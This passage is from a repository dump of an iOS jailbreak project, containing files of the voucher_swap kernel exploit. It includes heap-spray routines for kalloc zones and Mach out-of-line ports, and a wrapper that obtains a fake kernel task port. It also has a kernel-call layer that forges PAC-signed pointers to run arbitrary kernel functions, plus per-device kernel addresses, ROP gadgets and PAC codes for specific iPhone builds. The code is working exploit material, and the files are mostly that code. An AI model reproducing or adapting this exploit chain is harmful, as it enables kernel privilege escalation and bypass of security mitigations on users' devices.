18 | size_t ool_pool_size = read_ool_size();
19 | p = voucher_swap(ool_pool_size);
20 | prepare_for_rw_with_fake_tfp0(kernel_task_port);
21 | task_port_kaddr = current_task;
22 | return p;
23 | }
24 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap.h:
--------------------------------------------------------------------------------
1 | //
2 | // voucher_swap.h
3 | // noncereboot1131UI
4 | //
5 | // Created by Umang Raghuvanshi on 30/01/19.
6 | // Copyright © 2019 Pwn20wnd. All rights reserved.
7 | //
8 |
9 | #ifndef voucher_swap_h
10 | #define voucher_swap_h
11 |
12 | #include
13 |
14 | mach_port_t voucher_swap_go(void);
15 |
16 | #endif /* voucher_swap_h */
17 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/headers/IOKitLib.h:
--------------------------------------------------------------------------------
1 | /*
2 | * IOKitLib.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__IOKITLIB_H_
6 | #define VOUCHER_SWAP__IOKITLIB_H_
7 |
8 | #include
9 | #include
10 |
11 | typedef mach_port_t io_object_t;
12 | typedef io_object_t io_connect_t;
13 | typedef io_object_t io_iterator_t;
14 | typedef io_object_t io_service_t;
15 |
16 | extern const mach_port_t kIOMasterPortDefault;
17 |
18 | kern_return_t
19 | IOObjectRelease(
20 | io_object_t object );
21 |
22 | io_object_t
23 | IOIteratorNext(
24 | io_iterator_t iterator );
25 |
26 | io_service_t
27 | IOServiceGetMatchingService(
28 | mach_port_t masterPort,
29 | CFDictionaryRef matching CF_RELEASES_ARGUMENT);
30 |
31 | kern_return_t
32 | IOServiceGetMatchingServices(
33 | mach_port_t masterPort,
34 | CFDictionaryRef matching CF_RELEASES_ARGUMENT,
35 | io_iterator_t * existing );
36 |
37 | kern_return_t
38 | IOServiceOpen(
39 | io_service_t service,
40 | task_port_t owningTask,
41 | uint32_t type,
42 | io_connect_t * connect );
43 |
44 | kern_return_t
45 | IOServiceClose(
46 | io_connect_t connect );
47 |
48 | kern_return_t
49 | IOConnectCallMethod(
50 | mach_port_t connection, // In
51 | uint32_t selector, // In
52 | const uint64_t *input, // In
53 | uint32_t inputCnt, // In
54 | const void *inputStruct, // In
55 | size_t inputStructCnt, // In
56 | uint64_t *output, // Out
57 | uint32_t *outputCnt, // In/Out
58 | void *outputStruct, // Out
59 | size_t *outputStructCnt) // In/Out
60 | AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
61 |
62 | kern_return_t
63 | IOConnectTrap6(io_connect_t connect,
64 | uint32_t index,
65 | uintptr_t p1,
66 | uintptr_t p2,
67 | uintptr_t p3,
68 | uintptr_t p4,
69 | uintptr_t p5,
70 | uintptr_t p6);
71 |
72 | CFMutableDictionaryRef
73 | IOServiceMatching(
74 | const char * name ) CF_RETURNS_RETAINED;
75 |
76 | #endif
77 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/headers/ipc_port.h:
--------------------------------------------------------------------------------
1 | /*
2 | * ipc_port.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__IPC_PORT_H_
6 | #define VOUCHER_SWAP__IPC_PORT_H_
7 |
8 | #include
9 | #include
10 |
11 | // ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
12 |
13 | #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
14 |
15 | #define WQT_QUEUE 0x2
16 |
17 | union waitq_flags {
18 | struct {
19 | uint32_t /* flags */
20 | waitq_type:2, /* only public field */
21 | waitq_fifo:1, /* fifo wakeup policy? */
22 | waitq_prepost:1, /* waitq supports prepost? */
23 | waitq_irq:1, /* waitq requires interrupts disabled */
24 | waitq_isvalid:1, /* waitq structure is valid */
25 | waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
26 | waitq_eventmask:_EVENT_MASK_BITS;
27 | };
28 | uint32_t flags;
29 | };
30 |
31 | // ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
32 |
33 | #define IKOT_NONE 0
34 | #define IKOT_TASK 2
35 |
36 | // ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
37 |
38 | #define IO_BITS_KOTYPE 0x00000fff /* used by the object */
39 | #define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
40 |
41 | #define io_makebits(active, otype, kotype) \
42 | (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
43 |
44 | #define IOT_PORT 0
45 |
46 | // ---- Custom definitions ------------------------------------------------------------------------
47 |
48 | #define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
49 |
50 | // ------------------------------------------------------------------------------------------------
51 |
52 | #endif
53 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/headers/mach_vm.h:
--------------------------------------------------------------------------------
1 | /*
2 | * mach_vm.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__MACH_VM_H_
6 | #define VOUCHER_SWAP__MACH_VM_H_
7 |
8 | #include
9 |
10 | extern
11 | kern_return_t mach_vm_allocate
12 | (
13 | vm_map_t target,
14 | mach_vm_address_t *address,
15 | mach_vm_size_t size,
16 | int flags
17 | );
18 |
19 | extern
20 | kern_return_t mach_vm_deallocate
21 | (
22 | vm_map_t target,
23 | mach_vm_address_t address,
24 | mach_vm_size_t size
25 | );
26 |
27 | extern
28 | kern_return_t mach_vm_write
29 | (
30 | vm_map_t target_task,
31 | mach_vm_address_t address,
32 | vm_offset_t data,
33 | mach_msg_type_number_t dataCnt
34 | );
35 |
36 | extern
37 | kern_return_t mach_vm_read_overwrite
38 | (
39 | vm_map_t target_task,
40 | mach_vm_address_t address,
41 | mach_vm_size_t size,
42 | mach_vm_address_t data,
43 | mach_vm_size_t *outsize
44 | );
45 |
46 | #endif
47 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_alloc.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_alloc.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_
6 | #define VOUCHER_SWAP__KERNEL_ALLOC_H_
7 |
8 | #include
9 | #include
10 |
11 | /*
12 | * message_size_for_kalloc_size
13 | *
14 | * Description:
15 | * Return the Mach message size needed for the ipc_kmsg to be allocated from the specified
16 | * kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it
17 | * could be slightly small.
18 | */
19 | size_t message_size_for_kalloc_size(size_t kalloc_size);
20 |
21 | /*
22 | * kalloc_size_for_message_size
23 | *
24 | * Description:
25 | * Return the kalloc allocation size corresponding to sending a message of the specified size.
26 | *
27 | * This is only correct for messages large enough that the ipc_kmsg struct is allocated with
28 | * kalloc().
29 | */
30 | size_t kalloc_size_for_message_size(size_t message_size);
31 |
32 | /*
33 | * ipc_kmsg_size_for_message_size
34 | *
35 | * Description:
36 | * Return the allocation size of the ipc_kmsg for the given message size.
37 | */
38 | size_t ipc_kmsg_size_for_message_size(size_t message_size);
39 |
40 | /*
41 | * ool_ports_spray_port
42 | *
43 | * Description:
44 | * Spray the given Mach port with Mach messages that contain out-of-line ports descriptors
45 | * with the given ports. The goal is to spray the target kalloc zone with many copies of a
46 | * particular array of OOL ports.
47 | *
48 | * Make sure that the port's queue limits are sufficient to hold the specified number of
49 | * messages.
50 | *
51 | * Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages
52 | * enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has
53 | * sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with
54 | * the OOL ports spray.
55 | *
56 | * There are limits on the number of OOL ports that can be sent in a message, the number of
57 | * descriptors in a message, and the number of messages that can be queued on a port. Be sure
58 | * that the parameters you supply are valid, since this function does not check whether or not
59 | * the kernel will let your message through (or even whether they make sense).
60 | *
61 | * Parameters:
62 | * holding_port The port on which to enqueue the Mach messages.
63 | * ool_ports The OOL Mach ports to spray.
64 | * port_count The number of OOL Mach ports.
65 | * ool_disposition The disposition to send the OOL ports.
66 | * ool_count The number of OOL ports descriptors to send per message.
67 | * message_size The size of each message.
68 | * message_count The number of messages to enqueue on the holding port.
69 | *
70 | * Returns:
71 | * Returns the number of messages that were successfully sent.
72 | */
73 | size_t ool_ports_spray_port(mach_port_t holding_port,
74 | const mach_port_t *ool_ports, size_t port_count,
75 | mach_msg_type_name_t ool_disposition, size_t ool_count,
76 | size_t message_size, size_t message_count);
77 |
78 | /*
79 | * kalloc_spray_port
80 | *
81 | * Description:
82 | * Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach
83 | * messages containing OOL ports to the specified holding port. Returns the number of kalloc
84 | * allocations that were actually performed.
85 | *
86 | * The point of this function is to quickly make as many kalloc allocations in the target zone
87 | * as possible using the specified holding port. The way we do this is by sending messages
88 | * with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg
89 | * struct for the message and the OOL port arrays fall into the target kalloc zone. We will
90 | * continue sending messages to the port until either we've created the required number of
91 | * allocations or we've filled up the port's message queue.
92 | *
93 | * To free the allocations, call mach_port_destroy() on the holding port. Note that this will
94 | * also free the holding port if there are no other references.
95 | *
96 | * Parameters:
97 | * holding_port The port on which to enqueue the Mach messages.
98 | * min_kalloc_size The minimum sized allocation that is handled by this zone.
99 | * kalloc_zone The kalloc zone in which to spray allocations.
100 | * kalloc_count The desired number of allocations to make.
101 | *
102 | * Returns:
103 | * Returns the number of kalloc allocations actually made, which may be less than the number
104 | * requested if the port fills up or if an error is encountered.
105 | */
106 | size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
107 | size_t kalloc_count);
108 |
109 | /*
110 | * kalloc_spray_size
111 | *
112 | * Description:
113 | * Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach
114 | * messages containing OOL ports to the given holding ports.
115 | *
116 | * See kalloc_spray_port().
117 | *
118 | * To free the allocations, call destroy_ports() on the holding ports. Note that
119 | * destroy_ports() will also free the holding ports themselves if there are no other
120 | * references.
121 | *
122 | * Parameters:
123 | * holding_ports The array of holding ports.
124 | * port_count inout On entry, the number of holding ports available. On exit,
125 | * the number of holding ports used.
126 | * min_kalloc_size The minimum sized allocation that is handled by this zone.
127 | * kalloc_zone The kalloc zone in which to spray allocations.
128 | * spray_size The number of bytes to try and spray to the target zone.
129 | *
130 | * Returns:
131 | * Returns the number of bytes actually sprayed to the kalloc zone. This could be less than
132 | * the requested size if an error is encountered or more than the requested size if the spray
133 | * size was not an even multiple of the zone size.
134 | */
135 | size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
136 | size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size);
137 |
138 | /*
139 | * ool_ports_spray_size_with_gc
140 | *
141 | * Description:
142 | * Spray spray_size bytes of kernel memory with the specified out-of-line ports.
143 | *
144 | * Parameters:
145 | * holding_ports The array of holding ports.
146 | * holding_port_count inout On entry, the number of holding ports available. On exit,
147 | * the number of holding ports used.
148 | * message_size The size of each message to send. This parameter should be
149 | * chosen carefully, as allocations will be taken out of the
150 | * corresponding kalloc zone.
151 | * ool_ports The OOL Mach ports to spray.
152 | * ool_port_count The number of OOL Mach ports.
153 | * ool_disposition The disposition to send the OOL ports.
154 | * spray_size The number of bytes of OOL ports to try and spray.
155 | *
156 | * Returns:
157 | * Returns the number of bytes of OOL ports actually sprayed.
158 | */
159 | size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
160 | size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
161 | mach_msg_type_name_t ool_disposition, size_t spray_size);
162 |
163 | /*
164 | * create_ports
165 | *
166 | * Description:
167 | * Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no
168 | * longer needed, deallocate it with free().
169 | */
170 | mach_port_t *create_ports(size_t count);
171 |
172 | /*
173 | * destroy_ports
174 | *
175 | * Description:
176 | * Destroys the specified Mach ports and sets them to MACH_PORT_DEAD.
177 | */
178 | void destroy_ports(mach_port_t *ports, size_t count);
179 |
180 | /*
181 | * deallocate_ports
182 | *
183 | * Description:
184 | * Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD.
185 | */
186 | void deallocate_ports(mach_port_t *ports, size_t count);
187 |
188 | /*
189 | * port_increase_queue_limit
190 | *
191 | * Description:
192 | * Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX.
193 | */
194 | void port_increase_queue_limit(mach_port_t port);
195 |
196 | /*
197 | * port_insert_send_right
198 | *
199 | * Description:
200 | * Insert a send right on the specified port, which must name a receive right.
201 | */
202 | void port_insert_send_right(mach_port_t port);
203 |
204 | /*
205 | * port_drain_messages
206 | *
207 | * Description:
208 | * Drain all the messages currently queued on the specified port. The messages are passed to
209 | * the message_handler block, which is responsible for processing the messages and freeing any
210 | * associated resources (e.g. with mach_msg_destroy()).
211 | */
212 | void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *));
213 |
214 | /*
215 | * port_discard_messages
216 | *
217 | * Description:
218 | * Discard all the messages currently queued on the specified port. The messages are received
219 | * and passed directly to mach_msg_destroy().
220 | */
221 | void port_discard_messages(mach_port_t port);
222 |
223 | /*
224 | * ool_ports_spray_receive
225 | *
226 | * Description:
227 | * Receive all the messages queued on the holding ports and pass the OOL ports descriptors to
228 | * the specified handler block. The messages are destroyed after they are processed.
229 | */
230 | void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
231 | void (^ool_ports_handler)(mach_port_t *, size_t));
232 |
233 | /*
234 | * increase_file_limit
235 | *
236 | * Description:
237 | * Increase our process's limit on the number of open files.
238 | */
239 | void increase_file_limit(void);
240 |
241 | /*
242 | * pipe_close
243 | *
244 | * Description:
245 | * Close the file descriptors of a pipe.
246 | */
247 | void pipe_close(int pipefds[2]);
248 |
249 | /*
250 | * create_pipes
251 | *
252 | * Description:
253 | * Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and
254 | * on return it contains the number of pipes actually created.
255 | *
256 | * The pipes are returned as an array of file descriptors.
257 | */
258 | int *create_pipes(size_t *pipe_count);
259 |
260 | /*
261 | * close_pipes
262 | *
263 | * Description:
264 | * Close the pipes in an array.
265 | */
266 | void close_pipes(int *pipefds, size_t pipe_count);
267 |
268 | /*
269 | * pipe_spray
270 | *
271 | * Description:
272 | * Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to
273 | * 16 MB, so that's the maximum we'll be able to spray.
274 | *
275 | * Note that the last byte of the sprayed data won't be written to memory!
276 | *
277 | * Parameters:
278 | * pipefds The pipe file descriptors.
279 | * pipe_count The number of pipe fd pairs.
280 | * pipe_buffer The data to spray.
281 | * pipe_buffer_size The size of the data to spray.
282 | * update A callback to modify the data on each iteration.
283 | *
284 | * Returns:
285 | * Returns the number of pipes actually filled.
286 | */
287 | size_t pipe_spray(const int *pipefds, size_t pipe_count,
288 | void *pipe_buffer, size_t pipe_buffer_size,
289 | void (^update)(uint32_t pipe_index, void *data, size_t size));
290 |
291 | #endif
292 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_call.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call.c
3 | * Brandon Azad
4 | */
5 | #include "kernel_call.h"
6 |
7 | #include
8 |
9 | #include "kernel_call/pac.h"
10 | #include "kernel_call/user_client.h"
11 | #include "log.h"
12 |
13 | // ---- Public API --------------------------------------------------------------------------------
14 |
15 | bool
16 | kernel_call_init() {
17 | bool ok = stage1_kernel_call_init()
18 | && stage2_kernel_call_init()
19 | && stage3_kernel_call_init();
20 | if (!ok) {
21 | kernel_call_deinit();
22 | }
23 | return ok;
24 | }
25 |
26 | void
27 | kernel_call_deinit() {
28 | stage3_kernel_call_deinit();
29 | stage2_kernel_call_deinit();
30 | stage1_kernel_call_deinit();
31 | }
32 |
33 | uint32_t
34 | kernel_call_7(uint64_t function, size_t argument_count, ...) {
35 | assert(argument_count <= 7);
36 | uint64_t arguments[7];
37 | va_list ap;
38 | va_start(ap, argument_count);
39 | for (size_t i = 0; i < argument_count && i < 7; i++) {
40 | arguments[i] = va_arg(ap, uint64_t);
41 | }
42 | va_end(ap);
43 | return kernel_call_7v(function, argument_count, arguments);
44 | }
45 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_call.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * kernel_call_init
14 | *
15 | * Description:
16 | * Initialize kernel_call functions.
17 | */
18 | bool kernel_call_init(void);
19 |
20 | /*
21 | * kernel_call_deinit
22 | *
23 | * Description:
24 | * Deinitialize the kernel call subsystem and restore the kernel to a safe state.
25 | */
26 | void kernel_call_deinit(void);
27 |
28 | /*
29 | * kernel_call_7
30 | *
31 | * Description:
32 | * Call a kernel function with the specified arguments.
33 | *
34 | * Restrictions:
35 | * See kernel_call_7v().
36 | */
37 | uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...);
38 |
39 | /*
40 | * kernel_call_7v
41 | *
42 | * Description:
43 | * Call a kernel function with the specified arguments.
44 | *
45 | * Restrictions:
46 | * At most 7 arguments can be passed.
47 | * arguments[0] must be nonzero.
48 | * The return value is truncated to 32 bits.
49 | */
50 | uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]);
51 |
52 | /*
53 | * kernel_forge_pacia
54 | *
55 | * Description:
56 | * Forge a PACIA pointer using the kernel forging gadget.
57 | */
58 | uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context);
59 |
60 | /*
61 | * kernel_forge_pacia_with_type
62 | *
63 | * Description:
64 | * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the
65 | * type code, as context.
66 | */
67 | uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type);
68 |
69 | /*
70 | * kernel_forge_pacda
71 | *
72 | * Description:
73 | * Forge a PACDA pointer using the kernel forging gadget.
74 | */
75 | uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context);
76 |
77 | /*
78 | * kernel_xpaci
79 | *
80 | * Description:
81 | * Strip a PACIx code from a kernel pointer.
82 | */
83 | uint64_t kernel_xpaci(uint64_t pointer);
84 |
85 | /*
86 | * kernel_xpacd
87 | *
88 | * Description:
89 | * Strip a PACDx code from a kernel pointer.
90 | */
91 | uint64_t kernel_xpacd(uint64_t pointer);
92 |
93 | #endif
94 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_call/kc_parameters.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/kc_parameters.c
3 | * Brandon Azad
4 | */
5 | #define KERNEL_CALL_PARAMETERS_EXTERN
6 | #include "kc_parameters.h"
7 |
8 | #include "kernel_slide.h"
9 | #include "log.h"
10 | #include "platform.h"
11 | #include "platform_match.h"
12 |
13 | // ---- Initialization routines -------------------------------------------------------------------
14 |
15 | // A struct describing an initialization.
16 | struct initialization {
17 | const char *devices;
18 | const char *builds;
19 | void (*init)(void);
20 | };
21 |
22 | // Run initializations matching this platform.
23 | static size_t
24 | run_initializations(struct initialization *inits, size_t count) {
25 | size_t match_count = 0;
26 | for (size_t i = 0; i < count; i++) {
27 | struct initialization *init = &inits[i];
28 | if (platform_matches(init->devices, init->builds)) {
29 | init->init();
30 | match_count++;
31 | }
32 | }
33 | return match_count;
34 | }
35 |
36 | // A helper macro to get the number of elements in a static array.
37 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
38 |
39 | // ---- Offset initialization ---------------------------------------------------------------------
40 |
41 | static void
42 | offsets__iphone11_8__16C50() {
43 | OFFSET(IOAudio2DeviceUserClient, traps) = 0x118;
44 |
45 | SIZE(IOExternalTrap) = 0x18;
46 | OFFSET(IOExternalTrap, object) = 0;
47 | OFFSET(IOExternalTrap, function) = 8;
48 | OFFSET(IOExternalTrap, offset) = 16;
49 |
50 | OFFSET(IORegistryEntry, reserved) = 16;
51 | OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8;
52 |
53 | VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8;
54 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8;
55 | }
56 |
57 | // A list of offset initializations by platform.
58 | static struct initialization offsets[] = {
59 | { "*", "*", offsets__iphone11_8__16C50 },
60 | };
61 |
62 | // ---- Address initialization --------------------------------------------------------------------
63 |
64 | #define SLIDE(address) (address == 0 ? 0 : address + kernel_slide)
65 |
66 | static void
67 | addresses__iphone11_8__16C50() {
68 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008f3ce30);
69 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008f3ce38);
70 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff0090b72a0);
71 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008f3cd18);
72 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007ebd1f0);
73 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff0087f7cd8);
74 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00882912c);
75 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff0087e82dc);
76 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b66d38);
77 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b66d60);
78 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077b4e28);
79 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080158f0);
80 |
81 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
82 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
83 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
84 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
85 | }
86 |
87 | static void
88 | addresses__iphone11_2__16C50() {
89 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008fd8be8);
90 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008fd8bf0);
91 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff009154688);
92 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008fd8ad0);
93 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007eed1f0);
94 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff00885b230);
95 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00888c684);
96 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff00884b834);
97 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b96d38);
98 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b96d60);
99 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110;
100 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8;
101 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0;
102 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8;
103 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077d4e28);
104 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080458f0);
105 | }
106 |
107 | static void
108 | addresses__iphone10_1__16B92() {
109 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc668);
110 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff007594f04);
111 | }
112 |
113 | static void
114 | addresses__iphone10_1__16C101() {
115 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc648);
116 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff00759424c);
117 | }
118 |
119 | // A list of address initializations by platform.
120 | static struct initialization addresses[] = {
121 | { "iPhone11,8", "16C50-16C104", addresses__iphone11_8__16C50 },
122 | { "iPhone11,2", "16C50-16C104", addresses__iphone11_2__16C50 },
123 | { "iPhone10,1", "16B92", addresses__iphone10_1__16B92 },
124 | { "*", "*", addresses__iphone10_1__16C101 },
125 | };
126 |
127 | // ---- PAC initialization ------------------------------------------------------------------------
128 |
129 | #if __arm64e__
130 |
131 | static void
132 | pac__iphone11_8__16C50() {
133 | INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
134 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
135 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
136 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
137 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
138 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
139 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
140 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
141 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d,
142 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666,
143 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d,
144 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529,
145 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2,
146 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1,
147 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6,
148 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9,
149 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b,
150 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2,
151 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de,
152 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4,
153 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700,
154 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352,
155 | 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b,
156 | 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23,
157 | 0x2bcb);
158 | }
159 |
160 | // A list of PAC initializations by platform.
161 | static struct initialization pac_codes[] = {
162 | { "iPhone11,*", "*", pac__iphone11_8__16C50 },
163 | };
164 |
165 | #endif // __arm64e__
166 |
167 | // ---- Public API --------------------------------------------------------------------------------
168 |
169 | bool
170 | kernel_call_parameters_init() {
171 | bool ok = kernel_slide_init();
172 | if (!ok) {
173 | return false;
174 | }
175 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
176 | if (count < 1) {
177 | ERROR("no kernel_call %s for %s %s", "offsets",
178 | platform.machine, platform.osversion);
179 | return false;
180 | }
181 | count = run_initializations(addresses, ARRAY_COUNT(addresses));
182 | if (count < 1) {
183 | ERROR("no kernel_call %s for %s %s", "addresses",
184 | platform.machine, platform.osversion);
185 | return false;
186 | }
187 | #if __arm64e__
188 | count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes));
189 | if (count < 1) {
190 | ERROR("no kernel_call %s for %s %s", "PAC codes",
191 | platform.machine, platform.osversion);
192 | return false;
193 | }
194 | #endif // __arm64e__
195 | return true;
196 | }
197 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap/kernel_call/kc_parameters.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/kc_parameters.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #include "parameters.h"
13 |
14 | #ifdef KERNEL_CALL_PARAMETERS_EXTERN
15 | #define extern KERNEL_CALL_PARAMETERS_EXTERN
16 | #endif
17 |
18 | // A structure describing the PAC codes used as part of the context for signing and verifying
19 | // virtual method pointers in a vtable.
20 | struct vtable_pac_codes {
21 | size_t count;
22 | const uint16_t *codes;
23 | };
24 |
25 | // Generate the name for an offset in a virtual method table.
26 | #define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_
27 |
28 | // Generate the name for a list of vtable PAC codes.
29 | #define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_
